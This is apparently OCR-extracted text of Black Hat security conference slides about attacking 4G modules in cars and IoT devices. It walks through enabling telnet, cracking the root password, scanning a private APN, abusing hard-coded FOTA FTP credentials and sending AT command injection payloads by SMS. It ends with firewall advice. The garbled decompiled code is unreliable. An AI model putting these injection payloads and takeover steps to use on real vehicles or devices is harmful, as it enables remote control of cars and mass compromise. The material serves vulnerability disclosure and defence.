+= 2;

}

While ( T=%5[v0 ¥ I5] );
| AES_ecb_encrypt(&s[vo], &src[vE], &unk_34458, @); |

+= 1b;
}
= ( £16)(vo + 16);

I

(

»

&

1
else

.tv_sec = *( + 8], h d
2 ] | )strtol(( )& , 0, 16) + 18, ea er
= + »
( 1 + ) <= ( ) )
88 ((s1 = 8byte_3454C[( t16)( + - 4)], CheCk
!strncmp (8byte_3454C[ ( ) + 4)], "0DOA", 4u))
|| !strncmp( "edea”, 4u)) )
8
= strlen( );
for (i=90; ; =( (i +1) )
{
=% )2 * 1);
if ( <= )
break;
= ( yv2a[v3a];
if ( >> 4> 3)
{
if ( >> 4 wm 4 )
= S5;
else
- 87;
=16 * ;
}
else
{
=16 * 8 oxFe;
}
= ( yvaa[ +1];
if( >> 4> 3)
{
it >> 4 == 4 )
- - S5;
else
- - 87;
}
else
{
= - 48;
}
el { ¢ )& tv_sec 4+ i) =
}
- 0;
= ( )(( )& +2);
- ( ) { (LOWORD( .tv_usec) >> 8) | (LOWORD( .tv_usec) << 8));
while ( T= ( )(( )& .tv_sec + ( t16)( +:3) +:2)) h k
( cNnecKksum
b = BYTEL(v36->tv_sec);
% e check
3
L ¢ )& Jtv_usec + + 2) == )
{
= HIBYTE( .tv_sec);
LOWORD ( .__fds_bits[@]) = (LOWORD( .tv_usec) >> 8) | (LOWORD( .tv_usec) << 8);
memcny(( ) .__fds_bits + 2, ( )& .tv_usec + 2, LOWORD( .__fds_bits[0]));

=1 call dispatch function
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Ranged attack - control the CAN bus

* The function which dispatch the receive command

* Include open the telnet!

byte 34E4B = 0;
return result;
b

b
switch ( byte 34E4A )

{
case 1
sub_FCﬂCh((unsignPd
goto] LABEL _18;

case 2
sub_HCC14({unsigned  int8)byte 34E4B):
gotol LABEL _18:

__int8)byte 34E4B);

_1C768((unsigned _ iyt8)byte_ 34E4B);
LABEL_18;

&byte 34EA4S;
byte 34E4B )
o LABEL_18;
_hcacu(e);
_hce1u(e);
_hczee(e);
LABEL_10;

dispatch function
which enable telnet

byte 34E4B )

result =

FmcOsLog(3);

byte 34E48 = O;
byte 34E49 = 0;
byte 34E4A = O;

unsigned int _ fastcall sub 1CC14{unsigned int result)

{

unsigned int v1; // ru@1
char v2; // [sp+4h] [bp-14h]@E3

v] =
if
{

if ( ?sub_1C93C(""telnetd”, &v2) )

{
mO0sDoexec{{int) ki NP int)"w", @);
mDsDoexec({int)f'telnetd -p 1898 &, (int)"w", 8);

b
if (vl ==1)
{

result;
re

sult <=1 )

sub_18DRB("/etc/conf/ex_inteNface.conf", “TELNETD_IFEN",
result = EQgLogEX(1, 7);

g

8);

b .
else start telnetd service
{ s
result - mmosLogex(1, 7)1NiS Mode need password :(
b
?
else if ( result == 2 )
{
if ( sub_1C93C(“"telnetd”, &u2) == (DIR *)1 )

B spoexec{{int)"killall telnetd &, (int)"w", 0);
sub_18D28("/etc/conf/ex_interface.conf", "TELNETD_IFEN",
ER0sLogEx(1, 7);

result =

b
return result;

8)
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~~~~_* 1.Get SSL connection with TBOX, send
sl i handshake step1 data with the default AE
key.

* The Keys
* Encryptions are all AES-based or RSA- a
based
* AES key is hard-coded in the binary e ol
* RSA private key is stored on the disk

data_en = aes_en '::a’_Bl_a.r.e_-.' 2.Receive time stamp from TBOX, make an

with paSSWC)rd prOtECtEd AR PR g hmac with it, and send handshake step2 data.

* But the password is hard-coded in the
binary too. (Give it a guess ?) R e

- - 3.Send handshake step3 data.
* So, Let’s write the exploit SR R

* At last, we opened the telnet sifondengrtrvines MUVt i

f‘f"fa—_f"_z_"f’*—_?"_‘“"T-’::‘:"f-‘—"f- ‘ 5.0pen telnet with the new AES key.



Ranged attack - control the CAN bus

* New problem:
* The telnet needs passwd

7

A A & \x A B e B

‘telnetd -p 1898 &',

. Crack the hash with Nvidia 2080Ti x 4

for d day Hash.Type
. Hash.Target -
* Finally get the root password: Time.Started.....: Thu Apr 11 16:17:27 2019 [(1 day, 4 hours)
Time.Estimated...: Fri Apr 12 21:03:28 2019 (0 secs)
* Include uppercase\lowercase\numbers Guess.Mask. . .....: ?7272727272727272 [8]
Guess.Charset : -1 Undefined, -2 ?17?d?u, -3 Undefined, -4 Undefi
Guess.Queue : 1/1 (100.00%)
Speed.#1 : 1713.5 MH/s (9.90ms) @ Accel:1 Loops:1024 Thr:25
* Now we get the root shell Recovered . 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress : 172120524603392/218340105584896 (78.83%)
e But hOW to Control the Ca r? Rejected : 0/172120524603392 (0.00%)

Restore.Point : 722188288/916132832 (78.83%
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4G Module

the whole vehicle
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Over USB
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Ranged attack - control the CAN bus

Omnipotent root shell

e After we got the root shell, so many ways
to control the CAN bus

* Standard methods:
 Reverse the dxxd binaries of MCU and MPU
e Send Open Skylight command to UART(serial)

--------

* Easy way:

e Get the args sequences(r4, r5, r6) through
GDB script

* Send the message sequence to the queue
* Bingo |
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Ranged attack - control the CAN bus

The last question: How to exploit

* Do you remember the attack methods
that | mentioned?
* Use the fake base station
e Use Operator Intranet / Private APN
* Under the WiFi hotspot

e Each of them could control the CAN bus.

* For example:

e Scan open ports on Private APN, and run
exploits

e Build Zombie cars (just like Furious 8)

- ~ masscan 10. .237/22 -p 2 --rate=500

Starting masscan 1.0.4 Chttp://bit.1ly/14GZzcT) at 2019-04-16 08:50:54 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 1024 hosts [1 post/host

2EREY tcp on 10.4.8.83

[.§.198

[.§.50

(.N.10

.0.108

[.f.34

.4.211

[.J].68

Discovered open por
Discovered open port 200
Discovered open port 2
Discovered open port 2
Discovered open port 20
Discovered open port 2
Discovered open port 20

Discovered open po

A+ A+ttt A+ F A

Discovered open po
en

.23
o
Discovered open port 200 2/tcp on N.9.168
Discovered open port 20 N.-§.-19
Discovered open port 20 ¢ N.B.8

Discovered op



Attack FOTA — Server side

* FOTA(Firmware Over-The-Air), a
way to upgrade firmware.

* Some modules check |atest ispri”iiiie,,;(”. ey s DT
. . if ( send(vl, &v31, , Ox4000) > 0 && read(vl, &, Ox400u) != -1 )
version frequently (every 30 min) | Use FTP protocol

10 = strlen("331");

if (!strnemp(ds, "331°, v10) ) to get the latest firmware

* Reverse engineer the binary 6 N
sprmti‘((1 <(( )&v31, P~.>§&*:> )n ,| aW9¥871); FTP password
_ = strlen((const char -

* EXtraCt the hard COdEd if ( send(vl, &v31, , 9x4000) > 0 &% read(vl, &s, Ox400u) != -1 )

user&password T —
* Log into FTP server with the e

. = strlen("PASV\r\n");
credentials 1f ( send(vis “PASVAF\AS, Vi3, 8ie0e) > @ &8 read(vi, s, Gudotu) 1= -1 )

{

e Gain access to firmwares of various
types of 4G modules(writable
permission)
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Attack FOTA — Server side

We can hack all the 4G modules again!

* No verification of the firmware : 2 ANV, v
i i = RN iSETiE .
° Update the firmware with one public All the firmware(main process) o 2019-03-06 20:08:00
root With writeable privilege 0 2017-06-14 18:03:05
that has the backdoor 3 D TR R
114428489 285 KB 2017-06-26 14:52:31
* So, we can hack all the modules |[sssizeor 121 MB  2018-05-08 16:46:01
. . | 109575483 118 MB  2017-05-31 15:49:09
Of thIS brand IN Ad day| ] 160489284 284 KB 2017-06-19 17:06:33
1175774639 273 KB 2017-05-16 15:50:52
1194771076 1.18 MB 2017-05-27 12:34:36
|1 214367697 265 KB 2017-04-28 11:22:28
| 287012604 285 KB 2017-06-29 11:37:09
® | 369925053 266 KB 2017-04-28 11:22:28
| 477139746 273 KB 2017-05-08 15:22:24
483961881 1.22 MB 2019-03-05 11:33:05
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Attack FOTA — Client side

* Some client modules listening on a TCP/UDP port for upgrade command

* The listening port is used for Interprocess Communication originally
e Butit’s bound on UDP 0.0.0.0:45xxx instead of 127.0.0.1:45xxx (our chance!)
e Reverse engineer the binary
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Attack FOTA — Client side

* Reverse engineer Findings:

* The traffic through UDP port 45xxx is encrypted

* The service is to receive the FOTA upgrade package

@39244 byte_39244

_mme

* The key is hard-coded

DCB &
DCB ©x
DCB o
DCB ©x
DCB ©ox
DCB ©x -
DCB oxgR
DCB oxqgR ;
DCB Ox
DCB ©@x
DCB @x
DCB @x
DCB ©@x
DCB ©x -
DCB Ox69 ; i
DCB Ox6F ;

DCD ©x383634

hardcoded encrypt key

* So, now we can access the port, and forge the upgrade message
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Attack FOTA — Client side

* After decrypt, the port receive {71d”:7868221043956591", “content”:””, "msg
a jSOn, and get the OTA file " "upgradeNeed”, "file”:"abc”, “account”: "t

est”, "password”: “aaaaaa”, “ftpHost”:"67. 21
through FTP 8. 131. xxx: 6666

* The process need to check the
FOTA package first, with right
structure

delta file head info

e So we have reversed them

delta file partition info

00

00 00 00 00 00} ;
0Joo SE 00 00 Jpo 00 00 00| prkftih 2hpped: - - v - v v e e e e
00 00 00 00 00 ;

J]

* Now we can run our exploit HH —Eee e —

* Use Private APN =
e Use fake base station e e | e

ZIP package




AT command vulnerability

* Each module has its own AT command processing process to implement
custom commands.

 Example

* Connect mqgtt : AT+CMQTTCONNECT
* Send http : AT+CHTTPSSEND

Hidden AT commands, which can open ADB or execute the shell (mentioned
earlier).

No string filter, which will cause Command injection.

Type Syntax Response Example
Set AT+UIPROUTE=<route_raw_input> [+UIPROUTE: <route_raw_output>] AT+UIPROUTE="add -net 129.56.76.0
OK add IP route rules netmask 255.255.255.0 dev ccinet2"
AT Command OK at+uilproute=";1ls /"
Read AT+UIPROUTE? +UIPROUTE: +UIPROUTE: vk
[<route_raw_output>] Kernel IP routing table
OK Destination Gateway Genmask Flags

Metric Ref Use Iface

192.168.1.0 0.0.0.0 255.255.255.0U 0
0 0 usbO




AT command vulnerability

Use AT command vulnerability to get a remote shell

e Some modules use SMS to send AT command
* Easily remote management

o |f
e we could find an AT command injection vulnerability
* Use fake base station to send SMS =
* Or known the No. of SIM card £

* It will be hacked, again. i n -

\c...




AT command vulnerability

* To send AT command with SMS, need a password
* After reversed, we found the default was hard-coded, too.
e Most of_thg:c;ilme, users don’t chan_gg_i;

DCD aStaEchoEn -

~rodata:@00837A88 DCD al
~odata 2788C Y - 3
~odata DCD aAdmin ; "admin”
~odata DCD aStaTrace ; sta.trace
~rodata DCD a@00000eeeRRe0+oxC ; "0"

oda DCD aStaFtpUser ; "sta.ftp_user”
rodata DCD iy 3
~odata 37AA4 DCD aStaFtpPsw ; "sta.ftp_psw”
rodata:08837AA8 DCD ooy ;
rodata:00037AAC DCD aStaFtpAdd : "sta.ftp add”

o - ”
* When we send “adminat+ver;” ,we get the result:
16:53 «atl 4G
<:‘a' { ﬁéh“
% >

+ERR:2

Mammnver ]

+VER:V1.0.06.000000.0000 #BHUSA Ya@BLACK HAT EVENTS




AT command vulnerability

* Let’s find the dispatch function

. ~

I ] -
?hlle (| !'sub_15634(vi, vi) ) compare the AT
+Hvl1o;
14 = *(const char **)(v9 + 12);
+= 12;
if (! ;i )
goto LABEL_26;

13 ( Y(char ":)*(&0ff_39A4C H
T} cdispatohfatic

1 map
printf("FIND AT\r\n");
sub_1C@58(6, "FIND AT\r\n");
memset(&unk 6256C, ©, 9Ox400u);
26 = sub_1575C(v1);
/19 = sub_1581C(v1);
/15 = strchr(vl, "'=");

}

16 = strlen(vl);
~esult = printf("uart order ---4 ---%d,%¥s\r\n",

1)s

of f_39A4C

dword_39A54

DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD
DCD

sub_1EA@8
aTestCommand
Ox3ATEC
sub_1E8C3
aCommandHelpInf
aAtE

sub_21700
atEnableOrDisabl
aAtEntm
sub_1DB98
aBackToThroughp
aAtVer
sub_1E870
aFirmwareVersio
aAtZ

sub_2455C
aRestartModule
aAtReboot
sub_2461C
aRestartModule
aAtBuild
sub_1E818
aFirmwareBuild
aAtWkmod
sub_1F4EC
aQueryOrSetiWoke
aAtCmdpw
sub_21B30
aQueryOrSetComm
aAtsSn_eo
sub_23134
aSnInformation
aAtRstim
sub_1EE90
aSetRestartTime
aAtApn
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AT command vulnerability

* Go deep of the map function, try to find which
AT command call the danger functions, such as
system()

 Variable is string type, and can be controlled
such as %s

e At last, we find the AT+SETFCSN has a command
Injection

* After sending SMS, we can

adminfAT+SETFCSNE";uname -a’;

AT command injection

Linux (AEEEEEEBO0-A9) 3.4.110 #2 Wed
Oct 24 12:01:41 CST 2018 armv7I|
GNU/Linux

= N
ool
m

int v2; //

char v3; // r4
signed int v4; // r4
char 535 // [sp+4h’

sprintf() with format strings

memset(&s, @, Ox64p)s
sprintf(h:, "echo | \"&s\|'>/dev/rpm30", v2);
byte 66B32 = @;
byte 66B31 =
if ( byte 4B4D5 == 1 )
return 1;
2 = 14,
do
. call system()

system[&s);

UsIeep(@x3eD48u);

if ( byte 66B32 )
return 1;

if ( byte 4B4DS == 1 )
return 1;

}
while ( v4 );
return 6;

¥
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More Attack Tips

* Through the Browser
 Older version of Chrome is found on IVI of some well-known automakers’

e Search CVEs of the target version, and write out the exploit, get shell after access the
evil page
* Get control the network traffic & get a shell of IVI by using a fake station

* Through IPV6

* The Operator / 4G modules / Devices support IPV6
* More services listen on :::port instead of 0:0:0:0:port, SSH / Apache / Telnet....
* But ip6tables is not used, iptables has no effect.

* Through weak password of 4G wifi which uses 8 digit password

* Use Deauth to get the handshake package, then crack the password with 2080Ti X 4
within 50 seconds

* Upload the firmware with the backdoor FBHUSA WEBLACK HAT EVENTS



e An Introduction to 4G modules

e Attack Surfaces of 4G modules

* Attack Preparations

* Vulnerabilities Found and Exploitation

* Suggested Defense Practice
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Suggested Simple Defense Practice

e Get aware of the vulnerabilities in hidden attack surfaces

* |dentify whether there is a Linux system inside.(especially for some Auto
Manufacturers)

* Look for services/processes listening on open ports
* Be aware of the easy access from the 4G interfaces
* Empty iptables rules in most modules

e FireWall !

* Apply this rule:

* iptables -A INPUT -i rmnet_dataO -j DROP (replace the interface name if not
Qualcomm)

* Don’t forget ip6tables if support IPV6.
 Then 90% of the vulnerabilities could be defended
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End
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